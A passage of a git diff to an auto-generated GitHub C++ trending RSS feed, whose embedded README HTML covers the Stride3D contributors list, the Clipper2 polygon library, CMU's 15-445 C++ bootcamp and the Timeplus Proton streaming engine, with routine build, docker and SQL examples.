href="https://teamcity.stride3d.net/viewType.html?buildTypeId=Engine_Tests_WindowsD3D11&amp;branch=master&amp;guest=1"><img src="https://teamcity.stride3d.net/app/rest/builds/buildType:(id:Engine_Tests_WindowsD3D11),branch:master/statusIcon"></a></td> </tr> </tbody> </table> <h2>Contributors ✨</h2> <p>Thanks goes to these wonderful people (<a href="https://allcontributors.org/docs/en/emoji-key">emoji key</a>):</p> <!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --> <!-- prettier-ignore-start --> <!-- markdownlint-disable --> <table> <tbody> <tr> <td align="center" valign="top" width="14.28%"><a href="https://stride3d.net"><img src="https://avatars.githubusercontent.com/u/527565?v=4?s=100" width="100px;" alt="xen2"><br><sub><b>xen2</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=xen2" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Eideren"><img src="https://avatars.githubusercontent.com/u/5742236?v=4?s=100" width="100px;" alt="Eideren"><br><sub><b>Eideren</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=Eideren" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.aggror.com"><img src="https://avatars.githubusercontent.com/u/3499539?v=4?s=100" width="100px;" alt="Jorn Theunissen"><br><sub><b>Jorn Theunissen</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=Aggror" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/tebjan"><img src="https://avatars.githubusercontent.com/u/1094716?v=4?s=100" width="100px;" alt="Tebjan Halm"><br><sub><b>Tebjan Halm</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=tebjan" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/azeno"><img src="https://avatars.githubusercontent.com/u/573618?v=4?s=100" width="100px;" alt="Elias Holzer"><br><sub><b>Elias Holzer</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=azeno" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.tinyrocket.se"><img src="https://avatars.githubusercontent.com/u/204513?v=4?s=100" width="100px;" alt="Johan Gustafsson"><br><sub><b>Johan Gustafsson</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=johang88" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ykafia"><img src="https://avatars.githubusercontent.com/u/32330908?v=4?s=100" width="100px;" alt="Youness KAFIA"><br><sub><b>Youness KAFIA</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=ykafia" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="http://md-techblog.net.pl"><img src="https://avatars.githubusercontent.com/u/10709060?v=4?s=100" width="100px;" alt="Marian Dziubiak"><br><sub><b>Marian Dziubiak</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=manio143" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/AmbulantRex"><img src="https://avatars.githubusercontent.com/u/21176662?v=4?s=100" width="100px;" alt="AmbulantRex"><br><sub><b>AmbulantRex</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=AmbulantRex" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Basewq"><img src="https://avatars.githubusercontent.com/u/1356956?v=4?s=100" width="100px;" alt="Basewq"><br><sub><b>Basewq</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=Basewq" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/herocrab"><img src="https://avatars.githubusercontent.com/u/35175947?v=4?s=100" width="100px;" alt="Jarmo"><br><sub><b>Jarmo</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=herocrab" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://junakovic.com"><img src="https://avatars.githubusercontent.com/u/60072552?v=4?s=100" width="100px;" alt="Antonio Junaković"><br><sub><b>Antonio Junaković</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=cstdbool" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Kryptos-FR"><img src="https://avatars.githubusercontent.com/u/3006525?v=4?s=100" width="100px;" alt="Nicolas Musset"><br><sub><b>Nicolas Musset</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=Kryptos-FR" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/jasonswearingen"><img src="https://avatars.githubusercontent.com/u/814134?v=4?s=100" width="100px;" alt="Novaleaf"><br><sub><b>Novaleaf</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=jasonswearingen" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/salahchafai"><img src="https://avatars.githubusercontent.com/u/64394387?v=4?s=100" width="100px;" alt="salahchafai"><br><sub><b>salahchafai</b></sub></a><br><a href="https://raw.githubusercontent.com/stride3d/stride/master/#design-salahchafai" title="Design">🎨</a></td> <td align="center" valign="top" width="14.28%"><a href="https://digitaltheory.biz/"><img src="https://avatars.githubusercontent.com/u/397608?v=4?s=100" width="100px;" alt="Mehar"><br><sub><b>Mehar</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=MeharDT" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.VaclavElias.com"><img src="https://avatars.githubusercontent.com/u/4528464?v=4?s=100" width="100px;" alt="Vaclav Elias"><br><sub><b>Vaclav Elias</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=VaclavElias" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/EternalTamago"><img src="https://avatars.githubusercontent.com/u/13661631?v=4?s=100" width="100px;" alt="EternalTamago"><br><sub><b>EternalTamago</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=EternalTamago" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/WhyPenguins"><img src="https://avatars.githubusercontent.com/u/42032199?v=4?s=100" width="100px;" alt="WhyPenguins"><br><sub><b>WhyPenguins</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=WhyPenguins" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/aunpyz"><img src="https://avatars.githubusercontent.com/u/14342782?v=4?s=100" width="100px;" alt="Aunnop Kattiyanet"><br><sub><b>Aunnop Kattiyanet</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=aunpyz" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/makotech222"><img src="https://avatars.githubusercontent.com/u/4389156?v=4?s=100" width="100px;" alt="Anon"><br><sub><b>Anon</b></sub></a><br><a href="https://raw.githubusercontent.com/stride3d/stride/master/#design-makotech222" title="Design">🎨</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/D3ZAX"><img src="https://avatars.githubusercontent.com/u/15343372?v=4?s=100" width="100px;" alt="D3ZAX"><br><sub><b>D3ZAX</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=D3ZAX" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/phr00t"><img src="https://avatars.githubusercontent.com/u/5983470?v=4?s=100" width="100px;" alt="Phr00t"><br><sub><b>Phr00t</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=phr00t" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://schnellebuntebilder.de/"><img src="https://avatars.githubusercontent.com/u/646501?v=4?s=100" width="100px;" alt="sebl"><br><sub><b>sebl</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=sebllll" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Artromskiy"><img src="https://avatars.githubusercontent.com/u/47901401?v=4?s=100" width="100px;" alt="Artromskiy"><br><sub><b>Artromskiy</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=Artromskiy" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/TheKeyblader"><img src="https://avatars.githubusercontent.com/u/30444673?v=4?s=100" width="100px;" alt="Jean-François Pustay"><br><sub><b>Jean-François Pustay</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=TheKeyblader" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Earthmark"><img src="https://avatars.githubusercontent.com/u/1251609?v=4?s=100" width="100px;" alt="Daniel Miller"><br><sub><b>Daniel Miller</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=Earthmark" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://joreg.ath.cx"><img src="https://avatars.githubusercontent.com/u/1067952?v=4?s=100" width="100px;" alt="joreg"><br><sub><b>joreg</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=joreg" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/jrinker03"><img src="https://avatars.githubusercontent.com/u/49572939?v=4?s=100" width="100px;" alt="James Rinker"><br><sub><b>James Rinker</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=jrinker03" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/tristanmcpherson"><img src="https://avatars.githubusercontent.com/u/979937?v=4?s=100" width="100px;" alt="Tristan McPherson"><br><sub><b>Tristan McPherson</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=tristanmcpherson" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ericwj"><img src="https://avatars.githubusercontent.com/u/9473119?v=4?s=100" width="100px;" alt="Eric"><br><sub><b>Eric</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=ericwj" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/gregsn"><img src="https://avatars.githubusercontent.com/u/575557?v=4?s=100" width="100px;" alt="Sebastian Gregor"><br><sub><b>Sebastian Gregor</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=gregsn" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://insomnyawolf.github.io"><img src="https://avatars.githubusercontent.com/u/18150917?v=4?s=100" width="100px;" alt="insomnyawolf"><br><sub><b>insomnyawolf</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=insomnyawolf" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Doprez"><img src="https://avatars.githubusercontent.com/u/73259914?v=4?s=100" width="100px;" alt="Doprez"><br><sub><b>Doprez</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=Doprez" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Jklawreszuk"><img src="https://avatars.githubusercontent.com/u/31008367?v=4?s=100" width="100px;" alt="Jakub Ławreszuk"><br><sub><b>Jakub Ławreszuk</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=Jklawreszuk" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Ethereal77"><img src="https://avatars.githubusercontent.com/u/8967302?v=4?s=100" width="100px;" alt="Mario Guerra"><br><sub><b>Mario Guerra</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=Ethereal77" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/tamamutu"><img src="https://avatars.githubusercontent.com/u/62577086?v=4?s=100" width="100px;" alt="tamamutu"><br><sub><b>tamamutu</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=tamamutu" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/IXLLEGACYIXL"><img src="https://avatars.githubusercontent.com/u/107197024?v=4?s=100" width="100px;" alt="IXLLEGACYIXL"><br><sub><b>IXLLEGACYIXL</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=IXLLEGACYIXL" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/arturoc"><img src="https://avatars.githubusercontent.com/u/48240?v=4?s=100" width="100px;" alt="arturo"><br><sub><b>arturo</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=arturoc" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/garychia"><img src="https://avatars.githubusercontent.com/u/88014292?v=4?s=100" width="100px;" alt="Chia-Hsiang Cheng"><br><sub><b>Chia-Hsiang Cheng</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=garychia" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://nicusorn5.github.io/"><img src="https://avatars.githubusercontent.com/u/20599225?v=4?s=100" width="100px;" alt="Nicolae Tugui"><br><sub><b>Nicolae Tugui</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=NicusorN5" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://mattiascibien.net"><img src="https://avatars.githubusercontent.com/u/1300681?v=4?s=100" width="100px;" alt="Mattias Cibien"><br><sub><b>Mattias Cibien</b></sub></a><br><a href="https://github.com/stride3d/stride/commits?author=mattiascibien" title="Code">💻</a></td> </tr> </tbody> </table> <!-- markdownlint-restore --> <!-- prettier-ignore-end --> <!-- ALL-CONTRIBUTORS-LIST:END --> <p>This project follows the <a href="https://github.com/all-contributors/all-contributors">all-contributors</a> specification. Contributions of any kind welcome!</p> - - \ No newline at end of file diff --git a/c++/daily/index.xml b/c++/daily/index.xml index f3a19882dee..451bd8bc0e4 100644 --- a/c++/daily/index.xml +++ b/c++/daily/index.xml @@ -1,14 +1,21 @@ GitHub C++ Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:43Z + 2023-09-25T01:26:00Z Daily Trending of C++ in GitHub - AngusJohnson/Clipper2 - 2023-09-24T01:27:43Z - tag:github.com,2023-09-24:/AngusJohnson/Clipper2 - - <p>Polygon Clipping and Offsetting - C++, C# and Delphi</p><hr><h1>Clipper2</h1> <h3>A Polygon <a href="https://en.wikipedia.org/wiki/Clipping_(computer_graphics)">Clipping</a> and <a href="https://en.wikipedia.org/wiki/Parallel_curve">Offsetting</a> library (in C++, C# &amp; Delphi)<br></h3> <p><a href="https://github.com/AngusJohnson/Clipper2/actions/workflows/actions_cpp.yml"><img src="https://github.com/AngusJohnson/Clipper2/actions/workflows/actions_cpp.yml/badge.svg?sanitize=true" alt="GitHub Actions C++ status"></a>&nbsp;<a href="https://github.com/AngusJohnson/Clipper2/actions/workflows/actions_csharp.yml"><img src="https://github.com/AngusJohnson/Clipper2/actions/workflows/actions_csharp.yml/badge.svg?sanitize=true" alt="C#"></a>&nbsp;<a href="https://www.boost.org/LICENSE_1_0.txt"><img src="https://img.shields.io/badge/License-Boost_1.0-lightblue.svg?sanitize=true" alt="License"></a> <a href="https://www.nuget.org/packages/Clipper2"><img src="https://img.shields.io/nuget/v/Clipper2?color=green" alt="Nuget"></a> <a href="http://www.angusj.com/clipper2/Docs/Overview.htm"><img src="https://user-images.githubusercontent.com/5280692/187832279-b2a43890-da80-4888-95fe-793f092be372.svg?sanitize=true" alt="documentation"></a></p> <p>The <b>Clipper2</b> library performs <strong>intersection</strong>, <strong>union</strong>, <strong>difference</strong> and <strong>XOR</strong> boolean operations on both simple and complex polygons. It also performs polygon offsetting. This is a major update of my original <a href="https://sourceforge.net/projects/polyclipping/"><b>Clipper</b></a> library that was written over 10 years ago. That library I'm now calling <b>Clipper1</b> and while it still works very well, Clipper2 is <a href="http://www.angusj.com/clipper2/Docs/Changes.htm">better</a> in just about every way.</p> <h3>Compilers</h3> <p>C++: Requires C++17 (but could be modified to C++11 with only minor changes)<br> C#: The core library uses Standard Library 2.0 but the sample code uses .NET6<br> Delphi: Compiles with any version of Delphi back to Delphi 7.</p> <h3>Documentation</h3> <p><a href="http://www.angusj.com/clipper2/Docs/Overview.htm"><b>Extensive HTML documentation</b></a> <br><br></p> <h3>Examples</h3> <pre> //C++ Paths64 subject, clip, solution; subject.push_back(MakePath({100, 50, 10, 79, 65, 2, 65, 98, 10, 21})); clip.push_back(MakePath({98, 63, 4, 68, 77, 8, 52, 100, 19, 12})); solution = Intersect(subject, clip, FillRule::NonZero);</pre> <pre> //C# Paths64 subj = new Paths64(); Paths64 clip = new Paths64(); subj.Add(Clipper.MakePath(new int[] { 100, 50, 10, 79, 65, 2, 65, 98, 10, 21 })); clip.Add(Clipper.MakePath(new int[] { 98, 63, 4, 68, 77, 8, 52, 100, 19, 12 })); Paths64 solution = Clipper.Intersect(subj, clip, FillRule.NonZero);</pre> <pre> //Delphi var subject, clip, solution: TPaths64; begin SetLength(subject, 1); subject[0] := MakePath([100, 50, 10, 79, 65, 2, 65, 98, 10, 21]); SetLength(clip, 1); clip[0] := MakePath([98, 63, 4, 68, 77, 8, 52, 100, 19, 12]); solution := Intersect( subject, clip, frNonZero);</pre> <p><img src="https://user-images.githubusercontent.com/5280692/178123810-1719a1f5-25c3-4a9e-b419-e575ff056272.svg?sanitize=true" alt="clipperB"></p> <hr> <h3>Ports to other languages</h3> <p><strong>Java</strong>: <a href="https://github.com/micycle1/Clipper2-java/">https://github.com/micycle1/Clipper2-java/</a><br> <strong>Kotlin</strong>: <a href="https://github.com/Monkey-Maestro/clipper2-kotlin">https://github.com/Monkey-Maestro/clipper2-kotlin</a><br> <strong>golang</strong>: <a href="https://github.com/epit3d/goclipper2">https://github.com/epit3d/goclipper2</a></p> + cmu-db/15445-bootcamp + 2023-09-25T01:26:00Z + tag:github.com,2023-09-25:/cmu-db/15445-bootcamp + + <p>A basic introduction to coding in modern C++.</p><hr><h1>15-445/645 C++ Bootcamp</h1> <p>This bootcamp aims to provide a basic introduction to coding in modern C++. The features of the C++ language are too vast and expansive to cover in one bootcamp, and quite frankly, it is learned best through experience. The staff is certain that 15-445 will make you a more confident C++ programmer! However, we do cover some C++ topics that are necessary to know while doing the programming assignments. This tutorial does not cover basic C/C++ syntax. It mainly covers C++ programming features, particularly concepts that do not exist in C.</p> <p>This is the first iteration of the C++ bootcamp for 15-445/645, and feedback is appreciated!</p> <h2>Format</h2> <p>The bootcamp consists of C++ code files, located in <code>src/</code>, that are meant to be read in depth. Each of these files can be compiled into an executable with the same name. Use CMake to build these executables. This set of commands should build all the executables. After running these commands, these executables should be located in the <code>build</code> directory.</p> <pre><code class="language-console">$ mkdir build $ cd build $ cmake .. $ make -j8 </code></pre> <p>For instance, the <code>src/references.cpp</code> file compiles into the <code>references</code> executable, located in <code>./build</code>. The same holds for every file in the source directory.</p> <h2>Files</h2> <p>There are fifteen files in the <code>src/</code> directory, each which cover different concepts. They are meant to be read in the order below, since each file builds up on the previous one. However, if you know some modern C++ concepts and are looking to refresh your knowledge, it is probably okay to start by reading the files on concepts you are unfamiliar about.</p> <h3>References and Move Semantics</h3> <ul> <li><code>references.cpp</code>: Covers C++ references.</li> <li><code>move_semantics.cpp</code>: Covers C++ move semantics.</li> <li><code>move_constructors.cpp</code>: Covers C++ class move constructors and move assignment operators.</li> </ul> <h3>C++ Templates</h3> <ul> <li><code>templated_functions.cpp</code>: Covers C++ templated functions.</li> <li><code>templated_classes.cpp</code> Covers C++ templated classes.</li> </ul> <h3>Misc</h3> <ul> <li><code>wrapper_class.cpp</code>: Covers C++ wrapper classes.</li> <li><code>iterator.cpp</code>: Covers implementing a basic C++ style iterator.</li> <li><code>namespaces.cpp</code>: Covers C++ namespaces.</li> </ul> <h3>C++ Standard Library (STL) Containers</h3> <ul> <li><code>vectors.cpp</code>: Covers <code>std::vector</code>.</li> <li><code>set.cpp</code>: Covers <code>std::set</code>.</li> <li><code>unordered_map.cpp</code>: Covers <code>std::unordered_map</code>.</li> <li><code>auto.cpp</code>: Covers the usage of the C++ keyword <code>auto</code>, including using <code>auto</code> to iterate through C++ STL containers.</li> </ul> <h3>C++ Standard Library (STL) Memory</h3> <ul> <li><code>unique_ptr.cpp</code>: Covers <code>std::unique_ptr</code>.</li> <li><code>shared_ptr.cpp</code>: Covers <code>std::shared_ptr</code>.</li> </ul> <h3>C++ Standard Library (STL) Synch Primitives</h3> <ul> <li><code>mutex.cpp</code>: Covers <code>std::mutex</code>.</li> <li><code>scoped_lock.cpp</code>: Covers <code>std::scoped_lock</code>.</li> <li><code>condition_variable.cpp</code>: Covers <code>std::condition_variable</code>.</li> <li><code>rwlock.cpp</code>: Covers the usage of several C++ STL synchronization primitive libraries (<code>std::shared_mutex</code>, <code>std::shared_lock</code>, <code>std::unique_lock</code>) to create a reader-writer's lock implementation.</li> </ul> <h2>Other Resources</h2> <p>There are many other resources that will be helpful while you get accquainted to C++. I list a few here!</p> <ul> <li><a href="https://en.cppreference.com/w/">https://en.cppreference.com/w/</a>: This is the official C++ documentation.</li> <li><a href="https://cplusplus.com/">https://cplusplus.com/</a>: Contains both a C++ language <a href="https://cplusplus.com/doc/tutorial/">tutorial</a> and a C++ library <a href="https://cplusplus.com/reference/">reference</a>.</li> <li><a href="https://github.com/changkun/modern-cpp-tutorial">Modern C++ Tutorial</a>. This GitHub repo contains some information and exercises that are useful!</li> </ul> <h2>Appendix: Official C++ Documentation for Topics Covered in the Bootcamp</h2> <p>This documentation may be useful to you! It's very comprehensive (much more comprehensive than this bootcamp) but it may lack some readability. Overall, I think it's still a good idea to try to read and understand this documentation, especially when working on the projects. Although the bootcamp tries to be as comprehensive as possible, it still only covers the bare bones of using modern C++.</p> <ul> <li><a href="https://en.cppreference.com/w/cpp/language/reference">References</a></li> <li><a href="https://en.cppreference.com/w/cpp/utility/move">std::move</a></li> <li><a href="https://en.cppreference.com/w/cpp/language/move_constructor">Move Constructors</a> and <a href="https://en.cppreference.com/w/cpp/language/move_assignment">Move Assignment Operators</a></li> <li><a href="https://en.cppreference.com/w/cpp/language/function_template">Templated Functions</a></li> <li><a href="https://en.cppreference.com/w/cpp/language/class_template">Templated Classes</a></li> <li><a href="https://en.cppreference.com/w/cpp/iterator">Iterators</a></li> <li><a href="https://en.cppreference.com/w/cpp/language/namespace">Namespaces</a></li> <li><a href="https://en.cppreference.com/w/cpp/container/vector">std::vector</a></li> <li><a href="https://en.cppreference.com/w/cpp/container/set">std::set</a></li> <li><a href="https://en.cppreference.com/w/cpp/container/unordered_map">std::unordered_map</a></li> <li><a href="https://en.cppreference.com/w/cpp/language/auto">auto</a></li> <li><a href="https://en.cppreference.com/w/cpp/memory/unique_ptr">std::unique_ptr</a></li> <li><a href="https://en.cppreference.com/w/cpp/memory/shared_ptr">std::shared_ptr</a></li> <li><a href="https://en.cppreference.com/w/cpp/thread/mutex">std::mutex</a></li> <li><a href="https://en.cppreference.com/w/cpp/thread/scoped_lock">std::scoped_lock</a></li> <li><a href="https://en.cppreference.com/w/cpp/thread/condition_variable">std::condition_variable</a></li> <li><a href="https://en.cppreference.com/w/cpp/thread/shared_mutex">std::shared_mutex</a></li> <li><a href="https://en.cppreference.com/w/cpp/thread/shared_lock">std::shared_lock</a></li> <li><a href="https://en.cppreference.com/w/cpp/thread/unique_lock">std::unique_lock</a></li> </ul> + + + timeplus-io/proton + 2023-09-25T01:26:00Z + tag:github.com,2023-09-25:/timeplus-io/proton + + <p>a unified streaming and historical data processing engine in a single binary, powered by ClickHouse</p><hr><p align="center"> <img alt="Proton – open source, unified streaming and data processing engine for real-time analytics" src="https://raw.githubusercontent.com/timeplus-io/proton/develop/design/proton-logo-white-bg.png"> </p> <p align="center"> <a href="https://timeplus.com/slack"> <img src="https://img.shields.io/badge/Join%20Our%20Community-Slack-blue" alt="Slack"> </a> <a href="https://twitter.com/timeplusdata"> <img src="https://img.shields.io/twitter/follow/timeplusdata?style=flat&amp;label=%40timeplusdata&amp;logo=twitter&amp;color=0bf&amp;logoColor=fff" alt="Twitter"> </a> <a href="https://github.com/timeplus-io/proton/raw/develop/LICENSE"> <img src="https://img.shields.io/github/license/timeplus-io/proton?label=license&amp;logo=github&amp;color=f80&amp;logoColor=fff" alt="License"> </a> <a href="https://github.com/timeplus-io/proton/actions/workflows/nightly_test.yml"> <img src="https://github.com/timeplus-io/proton/actions/workflows/nightly_test.yml/badge.svg?branch=develop"> </a> </p> <p align="center"> <a href="https://raw.githubusercontent.com/timeplus-io/proton/develop/#introduction"><strong>Introduction</strong></a> · <a href="https://raw.githubusercontent.com/timeplus-io/proton/develop/#get-started"><strong>Get started</strong></a> · <a href="https://raw.githubusercontent.com/timeplus-io/proton/develop/#get-more-with-timeplus"><strong>Timeplus</strong></a> · <a href="https://raw.githubusercontent.com/timeplus-io/proton/develop/#documentation"><strong>Documentation</strong></a> · <a href="https://raw.githubusercontent.com/timeplus-io/proton/develop/#contributing"><strong>Contributing</strong></a> · <a href="https://raw.githubusercontent.com/timeplus-io/proton/develop/#need-help"><strong>Need help?</strong></a> · <a href="https://raw.githubusercontent.com/timeplus-io/proton/develop/#licensing"><strong>Licensing</strong></a> </p> <h2>Introduction</h2> <p>Proton is a unified streaming and historical data processing engine in a single binary. It helps data engineers and platform engineers solve complex real-time analytics use cases, and powers the <a href="https://timeplus.com">Timeplus</a> streaming analytics platform.</p> <p>Proton extends the historical data, storage, and computing functionality of the popular <a href="https://github.com/clickhouse/clickhouse">ClickHouse project</a> with streaming and OLAP data processing.</p> <p>Why use Proton?</p> <ul> <li><strong>A unified, lightweight engine</strong> to connect streaming and historical data processing tasks with efficiency and robust performance.</li> <li><strong>A smooth developer experience</strong> with powerful streaming and analytical functionality.</li> <li><strong>Flexible deployments</strong> with Proton's single binary and no external service dependencies.</li> <li><strong>Low total cost of ownership</strong> compared to other analytical frameworks.</li> </ul> <p>Plus built-in support for powerful streaming and analytical functionality:</p> <table> <thead> <tr> <th>Functionality</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><b><a href="https://docs.timeplus.com/usecases#data">Data transformation</a></b></td> <td>Scrub sensitive fields, derive new columns from raw data, or convert identifiers to human-readable information.</td> </tr> <tr> <td><b><a href="https://docs.timeplus.com/joins">Joining streams</a></b></td> <td>Combine data from different sources to add freshness to the resulting stream.</td> </tr> <tr> <td><b><a href="https://docs.timeplus.com/functions_for_agg">Aggregating streams</a></b></td> <td>Developer-friendly functions to derive insights from streaming and historical data.</td> </tr> <tr> <td><b>Windowed stream processing (<a href="https://docs.timeplus.com/functions_for_streaming#tumble">tumble</a> / <a href="https://docs.timeplus.com/functions_for_streaming#hop">hop</a> / <a href="https://docs.timeplus.com/functions_for_streaming#session">session</a>)</b></td> <td>Collect insightful snapshots of streaming data.</td> </tr> <tr> <td><b><a href="https://docs.timeplus.com/substream">Substreams</a></b></td> <td>Maintain separate watermarks and streaming windows.</td> </tr> <tr> <td><b><a href="https://docs.timeplus.com/changelog-stream">Data revision processing (changelog)</a></b></td> <td>Create and manage non-append streams with primary keys and change data capture (CDC) semantics.</td> </tr> <tr> <td><b><a href="https://docs.timeplus.com/external-stream">Federated streaming queries</a></b></td> <td>Query streaming data in external systems (e.g. Kafka) without duplicating them.</td> </tr> <tr> <td><b><a href="https://docs.timeplus.com/view#m_view">Materialized views</a></b></td> <td>Create long-running and internally-stored queries.</td> </tr> </tbody> </table> <p>See our <a href="https://docs.timeplus.com/proton-architecture">architecture</a> doc for technical details and the <a href="https://docs.timeplus.com/proton-faq">FAQ</a> for more information on the various editions of Proton, how it's related to ClickHouse, and why we chose Apache License 2.0.</p> <h2>Get started</h2> <p>With <a href="https://docs.docker.com/engine/install/">Docker engine</a> installed on your local machine, pull and run the latest version of the Proton Docker image.</p> <pre><code class="language-bash">docker run -d --pull always --name proton ghcr.io/timeplus-io/proton:develop </code></pre> <p>Connect to your <code>proton</code> container and run the <code>proton-client</code> tool to connect to the local Proton server:</p> <pre><code class="language-bash">docker exec -it proton proton-client -n </code></pre> <p>If you stop the container and want to start it again, run <code>docker start proton</code>.</p> <h3>Query a test stream</h3> <p>From <code>proton-client</code>, run the following SQL to create a stream of random data:</p> <pre><code class="language-sql">-- Create a stream with random data. CREATE RANDOM STREAM devices(device string default 'device'||to_string(rand()%4), temperature float default rand()%1000/10); -- Run the long-running stream query. SELECT device, count(*), min(temperature), max(temperature) FROM devices GROUP BY device; </code></pre> <p>You should see data like the following:</p> <pre><code>┌─device──┬─count()─┬─min(temperature)─┬─max(temperature)─┐ │ device0 │ 2256 │ 0 │ 99.6 │ │ device1 │ 2260 │ 0.1 │ 99.7 │ │ device3 │ 2259 │ 0.3 │ 99.9 │ │ device2 │ 2225 │ 0.2 │ 99.8 │ └─────────┴─────────┴──────────────────┴──────────────────┘ </code></pre> <h3>What's next?</h3> <p>Now that you're running Proton and have created your first stream, query, and view, you can explore <a href="https://docs.timeplus.com/proton-kafka#tutorial">reading and writing data from Apache Kafka</a> with External Streams, or view the <a href="https://docs.timeplus.com/proton">Proton documentation</a> to explore additional capabilities.</p> <p>To see how such a deployment of Proton works as a demo, using <code>owl-shop</code> sample live data, check out our <a href="https://docs.timeplus.com/proton-kafka#tutorial">tutorial with Docker Compose</a>.</p> <h2>Get more with Timeplus</h2> <p>To access more features, such as sources, sinks, dashboards, alerts, data lineage, create a workspace at <a href="https://us.timeplus.cloud">Timeplus Cloud</a> or try the <a href="https://demo.timeplus.cloud">live demo</a> with pre-built live data and dashboards.</p> <h2>Documentation</h2> <p>We publish full documentation for Proton at <a href="https://docs.timeplus.com/proton">docs.timeplus.com</a> alongside documentation for the Timeplus (Cloud and Enterprise) platform.</p> <p>We also have a <a href="https://docs.timeplus.com/proton-faq/">FAQ</a> for detailing how we chose Apache License 2.0, how Proton is related to ClickHouse, what features are available in Proton versus Timeplus, and more.</p> <h2>Contributing</h2> <p>We welcome your contributions! If you are looking for issues to work on, try looking at <a href="https://github.com/timeplus-io/proton/issues">the issue list</a>.</p> <p>Please see the <a href="https://github.com/timeplus-io/proton/wiki/Contributing">wiki</a> for more details, and <a 